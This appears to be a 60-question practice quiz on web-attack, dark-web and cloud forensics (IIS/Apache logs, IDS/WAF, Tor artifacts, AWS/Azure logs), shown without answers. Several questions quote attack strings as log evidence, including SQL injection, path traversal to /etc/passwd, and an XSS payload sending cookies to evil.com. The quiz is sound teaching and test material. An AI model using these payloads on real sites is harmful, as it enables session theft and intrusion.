Unit 5: Web Attacks, Dark Web and Cloud Forensics - Practice Quiz

1 What is the primary goal of web application forensics?

2 IIS logs are generated by web servers running on which operating system?

3 What is the default log file format used by modern IIS servers?

4 Which Apache log file records details of every request made to the web server?

5 Which Apache log file is used to record diagnostic information and processing errors?

6 What is the main function of an Intrusion Detection System (IDS)?

7 Which type of IDS detection relies on known attack patterns to identify threats?

8 A Web Application Firewall (WAF) primarily protects against attacks at which layer?

9 Which of the following attacks is a WAF specifically designed to help block?

10 When investigating web attacks on a Windows-based server, which log source is most useful?

11 Which attack involves injecting malicious scripts into web pages viewed by other users?

12 A SQL injection attack primarily targets which component of a web application?

13 What best describes the dark web?

14 Which software is most commonly used to access the dark web anonymously?

15 During an investigation, the presence of which file or folder can indicate the use of the Tor browser?

16 What does the Tor network use to provide anonymity to its users?

17 Which cloud service model provides virtualized computing resources such as servers and storage over the internet?

18 What is a key challenge in cloud forensics compared to traditional forensics?

19 Which AWS service provides scalable object storage?

20 Which AWS service records API calls and is useful for investigating security incidents?

21 During an investigation, an analyst finds an IIS log entry with sc-status 200 and sc-substatus 0. What does this combination indicate about the request?

22 An Apache access.log line ends with "GET /admin.php?id=1' OR '1'='1 HTTP/1.1" 200 512. Which attack does this most likely represent?

23 While performing web application forensics, why is it important to preserve the server's system time and timezone configuration?

24 A signature-based IDS fails to detect a newly released zero-day exploit. What is the primary reason for this limitation?

25 A WAF operating in a positive security model would handle incoming requests by:

26 On a Windows-based web server, which log source is most useful for correlating a suspicious IIS request with a subsequent failed administrative login?

27 An analyst observes a request containing <script>document.location='http://evil.com/c?'+document.cookie</script>. Which attack is being attempted?

28 A web log shows repeated requests such as GET /../../../../etc/passwd. This is characteristic of which attack?

29 Which statement best describes how content is typically accessed on the dark web?

30 Which artifact is a strong indicator that the Tor Browser was installed on a Windows system?

31 Why is memory (RAM) analysis particularly valuable when performing Tor Browser forensics?

32 In the shared responsibility model, which task is typically the customer's responsibility in an IaaS deployment?

33 What is one of the biggest challenges unique to cloud forensics compared to traditional forensics?

34 Which AWS service provides object storage where data is stored in buckets?

35 An investigator needs a record of all API calls made within an AWS account, including who made the call and when. Which service should they examine?

36 To capture the volatile state of a compromised EC2 instance for forensic analysis, which action best preserves evidence?

37 In Microsoft Azure, which service is used to centrally manage identities and control access to resources?

38 Which Azure log source records control-plane operations such as creating or deleting resources within a subscription?

39 An investigator wants to review sign-in attempts and identity-related risk events in Azure. Which logs should they primarily analyze?

40 Why is acquiring forensic evidence from containers challenging compared to traditional virtual machines?

41 An investigator analyzing IIS W3C logs notices that the sc-status field shows 200 while the sc-substatus shows 0, but the cs-uri-stem contains /admin/config.php on a server that runs only ASP.NET. Which conclusion is most defensible?

42 In an Apache combined log, an investigator sees repeated entries: GET /index.php?id=1%27%20UNION%20SELECT%20... returning status 200 with a large bytes value that differs across requests. What is the strongest interpretation?

43 A network IDS using signature-based detection fails to flag a novel polymorphic web shell, while an anomaly-based IDS raises an alert. Which statement best explains the difference and its forensic implication?

44 During an investigation, logs show a WAF operating in 'detection-only' (monitoring) mode logged an XSS attempt but the payload still reached the application. Which is the correct forensic conclusion?

45 On a compromised Windows/IIS server, an investigator finds a new scheduled task created shortly after suspicious IIS log entries and a corresponding 4698 event in the Security log. What does correlating these artifacts most strongly indicate?

46 An investigator observes a request GET /profile?file=....//....//....//etc/passwd that succeeded. What attack and evasion technique are demonstrated?

47 While reconstructing a multi-stage web attack, an investigator must establish the sequence of events across the reverse proxy, WAF, and application server, each in a different timezone. What is the most critical first step?

48 An investigator encounters a .onion v3 address that is 56 characters long. Compared to legacy v2 addresses, what does the v3 format primarily improve, and why does length matter forensically?

49 On a suspect's Windows machine with no Tor Browser present, an investigator wants to determine if it was ever run. Which artifact combination is most reliable?

50 During Tor Browser forensics, an investigator finds the browser was closed normally, yet recovers browsing remnants from a memory dump taken while it was running. Why is memory analysis often the most productive approach?

51 In a PaaS deployment, a data breach occurs due to a vulnerability in the customer's application code. Under the shared responsibility model, who is primarily accountable, and why?

52 A forensic examiner needs to acquire a running EC2 instance's volatile data but cannot install tools due to chain-of-custody concerns about altering the system. Which approach best balances evidentiary integrity with data capture?

53 An investigator wants a complete record of API calls (who, what, when) made against AWS resources during an incident. Which service is the authoritative source, and what is a key limitation to verify?

54 During an AWS incident, CloudTrail shows AssumeRole events from an unfamiliar external account ID immediately before sensitive S3 GetObject calls. What does this pattern most likely indicate?

55 An investigator must determine which identities authenticated and what conditional access decisions applied during an Azure AD (Entra ID) compromise. Which log source is authoritative?

56 In Azure, an investigator sees a VM was accessed and suspects the disk must be preserved without stopping ongoing analysis. What is the recommended evidence-preservation method for the managed disk?

57 An investigator must analyze a compromised container that has already been terminated in a Kubernetes cluster with ephemeral pods. What is the fundamental forensic challenge and best mitigation?

58 An IIS log shows many requests with sc-status 500 and sc-win32-status 64. How should an investigator interpret the sc-win32-status value in this forensic context?

59 An investigator compares an Apache access_log and error_log. A request appears in access_log with status 404, but there is no corresponding error_log entry. What is the correct interpretation?

60 Web logs show a rapid burst of POST /login requests from many distinct IPs, each with a different username but a small recurring set of passwords, all returning 200. Which attack is indicated and what distinguishes it?